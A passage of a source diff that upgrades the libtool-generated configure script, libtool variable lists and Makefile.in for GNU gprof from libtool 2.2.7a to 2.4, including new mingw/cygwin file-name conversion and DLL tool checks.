+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix='`$ECHO "$lt_cv_sys_global_symbol_to_c_name_address_lib_prefix" | $SED "$delay_single_quote_subst"`'
++nm_file_list_spec='`$ECHO "$nm_file_list_spec" | $SED "$delay_single_quote_subst"`'
++lt_sysroot='`$ECHO "$lt_sysroot" | $SED "$delay_single_quote_subst"`'
+ objdir='`$ECHO "$objdir" | $SED "$delay_single_quote_subst"`'
+ MAGIC_CMD='`$ECHO "$MAGIC_CMD" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_no_builtin_flag='`$ECHO "$lt_prog_compiler_no_builtin_flag" | $SED "$delay_single_quote_subst"`'
+-lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_pic='`$ECHO "$lt_prog_compiler_pic" | $SED "$delay_single_quote_subst"`'
++lt_prog_compiler_wl='`$ECHO "$lt_prog_compiler_wl" | $SED "$delay_single_quote_subst"`'
+ lt_prog_compiler_static='`$ECHO "$lt_prog_compiler_static" | $SED "$delay_single_quote_subst"`'
+ lt_cv_prog_compiler_c_o='`$ECHO "$lt_cv_prog_compiler_c_o" | $SED "$delay_single_quote_subst"`'
+ need_locks='`$ECHO "$need_locks" | $SED "$delay_single_quote_subst"`'
++MANIFEST_TOOL='`$ECHO "$MANIFEST_TOOL" | $SED "$delay_single_quote_subst"`'
+ DSYMUTIL='`$ECHO "$DSYMUTIL" | $SED "$delay_single_quote_subst"`'
+ NMEDIT='`$ECHO "$NMEDIT" | $SED "$delay_single_quote_subst"`'
+ LIPO='`$ECHO "$LIPO" | $SED "$delay_single_quote_subst"`'
+@@ -17141,12 +17801,12 @@ hardcode_shlibpath_var='`$ECHO "$hardcode_shlibpath_var" | $SED "$delay_single_q
+ hardcode_automatic='`$ECHO "$hardcode_automatic" | $SED "$delay_single_quote_subst"`'
+ inherit_rpath='`$ECHO "$inherit_rpath" | $SED "$delay_single_quote_subst"`'
+ link_all_deplibs='`$ECHO "$link_all_deplibs" | $SED "$delay_single_quote_subst"`'
+-fix_srcfile_path='`$ECHO "$fix_srcfile_path" | $SED "$delay_single_quote_subst"`'
+ always_export_symbols='`$ECHO "$always_export_symbols" | $SED "$delay_single_quote_subst"`'
+ export_symbols_cmds='`$ECHO "$export_symbols_cmds" | $SED "$delay_single_quote_subst"`'
+ exclude_expsyms='`$ECHO "$exclude_expsyms" | $SED "$delay_single_quote_subst"`'
+ include_expsyms='`$ECHO "$include_expsyms" | $SED "$delay_single_quote_subst"`'
+ prelink_cmds='`$ECHO "$prelink_cmds" | $SED "$delay_single_quote_subst"`'
++postlink_cmds='`$ECHO "$postlink_cmds" | $SED "$delay_single_quote_subst"`'
+ file_list_spec='`$ECHO "$file_list_spec" | $SED "$delay_single_quote_subst"`'
+ variables_saved_for_relink='`$ECHO "$variables_saved_for_relink" | $SED "$delay_single_quote_subst"`'
+ need_lib_prefix='`$ECHO "$need_lib_prefix" | $SED "$delay_single_quote_subst"`'
+@@ -17201,8 +17861,13 @@ reload_flag \
+ OBJDUMP \
+ deplibs_check_method \
+ file_magic_cmd \
++file_magic_glob \
++want_nocaseglob \
++DLLTOOL \
++sharedlib_from_linklib_cmd \
+ AR \
+ AR_FLAGS \
++archiver_list_spec \
+ STRIP \
+ RANLIB \
+ CC \
+@@ -17212,12 +17877,14 @@ lt_cv_sys_global_symbol_pipe \
+ lt_cv_sys_global_symbol_to_cdecl \
+ lt_cv_sys_global_symbol_to_c_name_address \
+ lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
++nm_file_list_spec \
+ lt_prog_compiler_no_builtin_flag \
+-lt_prog_compiler_wl \
+ lt_prog_compiler_pic \
++lt_prog_compiler_wl \
+ lt_prog_compiler_static \
+ lt_cv_prog_compiler_c_o \
+ need_locks \
++MANIFEST_TOOL \
+ DSYMUTIL \
+ NMEDIT \
+ LIPO \
+@@ -17233,7 +17900,6 @@ no_undefined_flag \
+ hardcode_libdir_flag_spec \
+ hardcode_libdir_flag_spec_ld \
+ hardcode_libdir_separator \
+-fix_srcfile_path \
+ exclude_expsyms \
+ include_expsyms \
+ file_list_spec \
+@@ -17269,6 +17935,7 @@ module_cmds \
+ module_expsym_cmds \
+ export_symbols_cmds \
+ prelink_cmds \
++postlink_cmds \
+ postinstall_cmds \
+ postuninstall_cmds \
+ finish_cmds \
+@@ -18049,7 +18716,8 @@ $as_echo X"$file" |
+ # NOTE: Changes made to this file will be lost: look at ltmain.sh.
+ #
+ # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
+-# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
++# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
++# Inc.
+ # Written by Gordon Matzigkeit, 1996
+ #
+ # This file is part of GNU Libtool.
+@@ -18152,19 +18820,42 @@ SP2NL=$lt_lt_SP2NL
+ # turn newlines into spaces.
+ NL2SP=$lt_lt_NL2SP
+
++# convert \$build file names to \$host format.
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++
++# convert \$build files to toolchain format.
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++
+ # An object symbol dumper.
+ OBJDUMP=$lt_OBJDUMP
+
+ # Method to check whether dependent libraries are shared objects.
+ deplibs_check_method=$lt_deplibs_check_method
+
+-# Command to use when deplibs_check_method == "file_magic".
++# Command to use when deplibs_check_method = "file_magic".
+ file_magic_cmd=$lt_file_magic_cmd
+
++# How to find potential files when deplibs_check_method = "file_magic".
++file_magic_glob=$lt_file_magic_glob
++
++# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
++want_nocaseglob=$lt_want_nocaseglob
++
++# DLL creation program.
++DLLTOOL=$lt_DLLTOOL
++
++# Command to associate shared and link libraries.
++sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
++
+ # The archiver.
+ AR=$lt_AR
++
++# Flags to create an archive.
+ AR_FLAGS=$lt_AR_FLAGS
+
++# How to feed a file listing to the archiver.
++archiver_list_spec=$lt_archiver_list_spec
++
+ # A symbol stripping program.
+ STRIP=$lt_STRIP
+
+@@ -18194,6 +18885,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
+ # Transform the output of nm in a C name address pair when lib prefix is needed.
+ global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
+
++# Specify filename containing input files for \$NM.
++nm_file_list_spec=$lt_nm_file_list_spec
++
++# The root where to search for dependent libraries,and in which our libraries should be installed.
++lt_sysroot=$lt_sysroot
++
+ # The name of the directory that contains temporary libtool files.
+ objdir=$objdir
+
+@@ -18203,6 +18900,9 @@ MAGIC_CMD=$MAGIC_CMD
+ # Must we lock files when doing compilation?
+ need_locks=$lt_need_locks
+
++# Manifest tool.
++MANIFEST_TOOL=$lt_MANIFEST_TOOL
++
+ # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
+ DSYMUTIL=$lt_DSYMUTIL
+
+@@ -18317,12 +19017,12 @@ with_gcc=$GCC
+ # Compiler flag to turn off builtin functions.
+ no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
+
+-# How to pass a linker flag through the compiler.
+-wl=$lt_lt_prog_compiler_wl
+-
+ # Additional compiler flags for building library objects.
+ pic_flag=$lt_lt_prog_compiler_pic
+
++# How to pass a linker flag through the compiler.
++wl=$lt_lt_prog_compiler_wl
++
+ # Compiler flag to prevent dynamic linking.
+ link_static_flag=$lt_lt_prog_compiler_static
+
+@@ -18409,9 +19109,6 @@ inherit_rpath=$inherit_rpath
+ # Whether libtool must link a program against all its dependency libraries.
+ link_all_deplibs=$link_all_deplibs
+
+-# Fix the shell variable \$srcfile for the compiler.
+-fix_srcfile_path=$lt_fix_srcfile_path
+-
+ # Set to "yes" if exported symbols are required.
+ always_export_symbols=$always_export_symbols
+
+@@ -18427,6 +19124,9 @@ include_expsyms=$lt_include_expsyms
+ # Commands necessary for linking programs (against libraries) with templates.
+ prelink_cmds=$lt_prelink_cmds
+
++# Commands necessary for finishing linking programs.
++postlink_cmds=$lt_postlink_cmds
++
+ # Specify filename containing input files.
+ file_list_spec=$lt_file_list_spec
+
+@@ -18459,210 +19159,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
+ # if finds mixed CR/LF and LF-only lines. Since sed operates in
+ # text mode, it properly converts lines to CR/LF. This bash problem
+ # is reportedly fixed, but why not run on old versions too?
+- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- case $xsi_shell in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_dirname_and_basename file append nondir_replacement
+-# perform func_basename and func_dirname in a single function
+-# call:
+-# dirname: Compute the dirname of FILE. If nonempty,
+-# add APPEND to the result, otherwise set result
+-# to NONDIR_REPLACEMENT.
+-# value returned in "$func_dirname_result"
+-# basename: Compute filename of FILE.
+-# value retuned in "$func_basename_result"
+-# Implementation must be kept synchronized with func_dirname
+-# and func_basename. For efficiency, we do not delegate to
+-# those functions but instead duplicate the functionality here.
+-func_dirname_and_basename ()
+-{
+- case ${1} in
+- */*) func_dirname_result="${1%/*}${2}" ;;
+- * ) func_dirname_result="${3}" ;;
+- esac
+- func_basename_result="${1##*/}"
+-}
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-func_stripname ()
+-{
+- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
+- # positional parameters, so assign one to ordinary parameter first.
+- func_stripname_result=${3}
+- func_stripname_result=${func_stripname_result#"${1}"}
+- func_stripname_result=${func_stripname_result%"${2}"}
+-}
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=${1%%=*}
+- func_opt_split_arg=${1#*=}
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- case ${1} in
+- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
+- *) func_lo2o_result=${1} ;;
+- esac
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=${1%.*}.lo
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=$(( $* ))
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=${#1}
+-}
+-
+-_LT_EOF
+- ;;
+- *) # Bourne compatible functions.
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_dirname file append nondir_replacement
+-# Compute the dirname of FILE. If nonempty, add APPEND to the result,
+-# otherwise set result to NONDIR_REPLACEMENT.
+-func_dirname ()
+-{
+- # Extract subdirectory from the argument.
+- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
+- if test "X$func_dirname_result" = "X${1}"; then
+- func_dirname_result="${3}"
+- else
+- func_dirname_result="$func_dirname_result${2}"
+- fi
+-}
+-
+-# func_basename file
+-func_basename ()
+-{
+- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
+-}
+-
+-
+-# func_stripname prefix suffix name
+-# strip PREFIX and SUFFIX off of NAME.
+-# PREFIX and SUFFIX must not contain globbing or regex special
+-# characters, hashes, percent signs, but SUFFIX may contain a leading
+-# dot (in which case that matches only a dot).
+-# func_strip_suffix prefix name
+-func_stripname ()
+-{
+- case ${2} in
+- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
+- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
+- esac
+-}
+-
+-# sed scripts:
+-my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
+-my_sed_long_arg='1s/^-[^=]*=//'
+-
+-# func_opt_split
+-func_opt_split ()
+-{
+- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
+- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
+-}
+-
+-# func_lo2o object
+-func_lo2o ()
+-{
+- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
+-}
+-
+-# func_xform libobj-or-source
+-func_xform ()
+-{
+- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
+-}
+-
+-# func_arith arithmetic-term...
+-func_arith ()
+-{
+- func_arith_result=`expr "$@"`
+-}
+-
+-# func_len string
+-# STRING may not start with a hyphen.
+-func_len ()
+-{
+- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
+-}
+-
+-_LT_EOF
+-esac
+-
+-case $lt_shell_append in
+- yes)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1+=\$2"
+-}
+-_LT_EOF
+- ;;
+- *)
+- cat << \_LT_EOF >> "$cfgfile"
+-
+-# func_append var value
+-# Append VALUE to the end of shell variable VAR.
+-func_append ()
+-{
+- eval "$1=\$$1\$2"
+-}
+-
+-_LT_EOF
+- ;;
+- esac
+-
+-
+- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
+- || (rm -f "$cfgfile"; exit 1)
+-
+- mv -f "$cfgfile" "$ofile" ||
++ sed '$q' "$ltmain" >> "$cfgfile" \
++ || (rm -f "$cfgfile"; exit 1)
++
++ if test x"$xsi_shell" = xyes; then
++ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
++func_dirname ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_basename ()$/,/^} # func_basename /c\
++func_basename ()\
++{\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
++func_dirname_and_basename ()\
++{\
++\ case ${1} in\
++\ */*) func_dirname_result="${1%/*}${2}" ;;\
++\ * ) func_dirname_result="${3}" ;;\
++\ esac\
++\ func_basename_result="${1##*/}"\
++} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
++func_stripname ()\
++{\
++\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
++\ # positional parameters, so assign one to ordinary parameter first.\
++\ func_stripname_result=${3}\
++\ func_stripname_result=${func_stripname_result#"${1}"}\
++\ func_stripname_result=${func_stripname_result%"${2}"}\
++} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
++func_split_long_opt ()\
++{\
++\ func_split_long_opt_name=${1%%=*}\
++\ func_split_long_opt_arg=${1#*=}\
++} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
++func_split_short_opt ()\
++{\
++\ func_split_short_opt_arg=${1#??}\
++\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
++} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
++func_lo2o ()\
++{\
++\ case ${1} in\
++\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
++\ *) func_lo2o_result=${1} ;;\
++\ esac\
++} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_xform ()$/,/^} # func_xform /c\
++func_xform ()\
++{\
++ func_xform_result=${1%.*}.lo\
++} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_arith ()$/,/^} # func_arith /c\
++func_arith ()\
++{\
++ func_arith_result=$(( $* ))\
++} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_len ()$/,/^} # func_len /c\
++func_len ()\
++{\
++ func_len_result=${#1}\
++} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++fi
++
++if test x"$lt_shell_append" = xyes; then
++ sed -e '/^func_append ()$/,/^} # func_append /c\
++func_append ()\
++{\
++ eval "${1}+=\\${2}"\
++} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
++func_append_quoted ()\
++{\
++\ func_quote_for_eval "${2}"\
++\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
++} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++test 0 -eq $? || _lt_function_replace_fail=:
++
++
++ # Save a `func_append' function call where possible by direct use of '+='
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++else
++ # Save a `func_append' function call even when '+=' is not available
++ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
++ && mv -f "$cfgfile.tmp" "$cfgfile" \
++ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
++ test 0 -eq $? || _lt_function_replace_fail=:
++fi
++
++if test x"$_lt_function_replace_fail" = x":"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
++$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
++fi
++
++
++ mv -f "$cfgfile" "$ofile" ||
+ (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
+ chmod +x "$ofile"
+
+diff --git a/gprof/Makefile.in b/gprof/Makefile.in
+index a7398231030..fc7a3d78db0 100644
+--- a/gprof/Makefile.in
++++ b/gprof/Makefile.in
+@@ -327,6 +327,7 @@ CYGPATH_W = @CYGPATH_W@
+ DATADIRNAME = @DATADIRNAME@
+ DEFS = @DEFS@
+ DEPDIR = @DEPDIR@
++DLLTOOL = @DLLTOOL@
+ DSYMUTIL = @DSYMUTIL@
+ DUMPBIN = @DUMPBIN@
+ ECHO_C = @ECHO_C@
+@@ -363,6 +364,7 @@ LTLIBINTL = @LTLIBINTL@
+ LTLIBOBJS = @LTLIBOBJS@
+ MAINT = @MAINT@
+ MAKEINFO = @MAKEINFO@
++MANIFEST_TOOL = @MANIFEST_TOOL@
+ MKDIR_P = @MKDIR_P@
+ MKINSTALLDIRS = @MKINSTALLDIRS@
+ MSGFMT = @MSGFMT@
+@@ -398,6 +400,7 @@ abs_builddir = @abs_builddir@
+ abs_srcdir = @abs_srcdir@
+ abs_top_builddir = @abs_top_builddir@
+ abs_top_srcdir = @abs_top_srcdir@
++ac_ct_AR = @ac_ct_AR@
+ ac_ct_CC = @ac_ct_CC@
+ ac_ct_DUMPBIN = @ac_ct_DUMPBIN@
+ am__include = @am__include@
+diff --git a/gprof/configure b/gprof/configure
+index 2d62b6fbb07..0cafee249eb 100755
+--- a/gprof/configure
++++ b/gprof/configure
+@@ -669,8 +669,11 @@ OTOOL
+ LIPO
+ NMEDIT
+ DSYMUTIL
++MANIFEST_TOOL
+ RANLIB
++ac_ct_AR
+ AR
++DLLTOOL
+ OBJDUMP
+ LN_S
+ NM
+@@ -787,6 +790,7 @@ enable_static
+ with_pic
+ enable_fast_install
+ with_gnu_ld
++with_libtool_sysroot
+ enable_libtool_lock
+ enable_plugins
+ enable_largefile
+@@ -1462,6 +1466,8 @@ Optional Packages:
+ --with-libintl-prefix[=DIR] search for libintl in DIR/include and DIR/lib
+ --without-libintl-prefix don't search for libintl in includedir and libdir
+ --with-libintl-type=TYPE type of library to search for (auto/static/shared)
++ --with-libtool-sysroot=DIR Search for dependent libraries within DIR
++ (or the compiler's sysroot if not specified).
+
+ Some influential environment variables:
+ CC C compiler command
+@@ -4530,8 +4536,8 @@ esac
+
+
+
+-macro_version='2.2.7a'
+-macro_revision='1.3134'
++macro_version='2.4'
++macro_revision='1.3293'
+
+
+
+@@ -4571,7 +4577,7 @@ ECHO=$ECHO$ECHO$ECHO$ECHO$ECHO$ECHO
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking how to print strings" >&5
+ $as_echo_n "checking how to print strings... " >&6; }
+ # Test print first, because it will be a builtin if present.
+-if test "X`print -r -- -n 2>/dev/null`" = X-n && \
++if test "X`( print -r -- -n ) 2>/dev/null`" = X-n && \
+ test "X`print -r -- $ECHO 2>/dev/null`" = "X$ECHO"; then
+ ECHO='print -r --'
+ elif test "X`printf %s $ECHO 2>/dev/null`" = "X$ECHO"; then
+@@ -5264,8 +5270,8 @@ $as_echo_n "checking whether the shell understands some XSI constructs... " >&6;
+ # Try some XSI features
+ xsi_shell=no
+ ( _lt_dummy="a/b/c"
+- test "${_lt_dummy##*/},${_lt_dummy%/*},"${_lt_dummy%"$_lt_dummy"}, \
+- = c,a/b,, \
++ test "${_lt_dummy##*/},${_lt_dummy%/*},${_lt_dummy#??}"${_lt_dummy%"$_lt_dummy"}, \
++ = c,a/b,b/c, \
+ && eval 'test $(( 1 + 1 )) -eq 2 \
+ && test "${#_lt_dummy}" -eq 5' ) >/dev/null 2>&1 \
+ && xsi_shell=yes
+@@ -5314,6 +5320,80 @@ esac
+
+
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to $host format" >&5
++$as_echo_n "checking how to convert $build file names to $host format... " >&6; }
++if ${lt_cv_to_host_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_cygwin_to_w32
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_w32
++ ;;
++ esac
++ ;;
++ *-*-cygwin* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_host_file_cmd=func_convert_file_msys_to_cygwin
++ ;;
++ *-*-cygwin* )
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++ * ) # otherwise, assume *nix
++ lt_cv_to_host_file_cmd=func_convert_file_nix_to_cygwin
++ ;;
++ esac
++ ;;
++ * ) # unhandled hosts (and "normal" native builds)
++ lt_cv_to_host_file_cmd=func_convert_file_noop
++ ;;
++esac
++
++fi
++
++to_host_file_cmd=$lt_cv_to_host_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_host_file_cmd" >&5
++$as_echo "$lt_cv_to_host_file_cmd" >&6; }
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking how to convert $build file names to toolchain format" >&5
++$as_echo_n "checking how to convert $build file names to toolchain format... " >&6; }
++if ${lt_cv_to_tool_file_cmd+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ #assume ordinary cross tools, or native build.
++lt_cv_to_tool_file_cmd=func_convert_file_noop
++case $host in
++ *-*-mingw* )
++ case $build in
++ *-*-mingw* ) # actually msys
++ lt_cv_to_tool_file_cmd=func_convert_file_msys_to_w32
++ ;;
++ esac
++ ;;
++esac
++
++fi
++
++to_tool_file_cmd=$lt_cv_to_tool_file_cmd
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_to_tool_file_cmd" >&5
++$as_echo "$lt_cv_to_tool_file_cmd" >&6; }
++
++
++
++
++
+ { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $LD option to reload object files" >&5
+ $as_echo_n "checking for $LD option to reload object files... " >&6; }
+ if ${lt_cv_ld_reload_flag+:} false; then :
+@@ -5330,6 +5410,11 @@ case $reload_flag in
+ esac
+ reload_cmds='$LD$reload_flag -o $output$reload_objs'
+ case $host_os in
++ cygwin* | mingw* | pw32* | cegcc*)
++ if test "$GCC" != yes; then
++ reload_cmds=false
++ fi
++ ;;
+ darwin*)
+ if test "$GCC" = yes; then
+ reload_cmds='$LTCC $LTCFLAGS -nostdlib ${wl}-r -o $output$reload_objs'
+@@ -5498,7 +5583,8 @@ mingw* | pw32*)
+ lt_cv_deplibs_check_method='file_magic ^x86 archive import|^x86 DLL'
+ lt_cv_file_magic_cmd='func_win32_libid'
+ else
+- lt_cv_deplibs_check_method='file_magic file format pei*-i386(.*architecture: i386)?'
++ # Keep this pattern in sync with the one in func_win32_libid.
++ lt_cv_deplibs_check_method='file_magic file format (pei*-i386(.*architecture: i386)?|pe-arm-wince|pe-x86-64)'
+ lt_cv_file_magic_cmd='$OBJDUMP -f'
+ fi
+ ;;
+@@ -5657,6 +5743,21 @@ esac
+ fi
+ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_deplibs_check_method" >&5
+ $as_echo "$lt_cv_deplibs_check_method" >&6; }
++
++file_magic_glob=
++want_nocaseglob=no
++if test "$build" = "$host"; then
++ case $host_os in
++ mingw* | pw32*)
++ if ( shopt | grep nocaseglob ) >/dev/null 2>&1; then
++ want_nocaseglob=yes
++ else
++ file_magic_glob=`echo aAbBcCdDeEfFgGhHiIjJkKlLmMnNoOpPqQrRsStTuUvVwWxXyYzZ | $SED -e "s/\(..\)/s\/[\1]\/[\1]\/g;/g"`
++ fi
++ ;;
++ esac
++fi
++
+ file_magic_cmd=$lt_cv_file_magic_cmd
+ deplibs_check_method=$lt_cv_deplibs_check_method
+ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+@@ -5672,6 +5773,157 @@ test -z "$deplibs_check_method" && deplibs_check_method=unknown
+
+
+
++
++
++
++
++
++
++
++
++
++
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}dlltool", so it can be a program name with args.
++set dummy ${ac_tool_prefix}dlltool; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_DLLTOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$DLLTOOL"; then
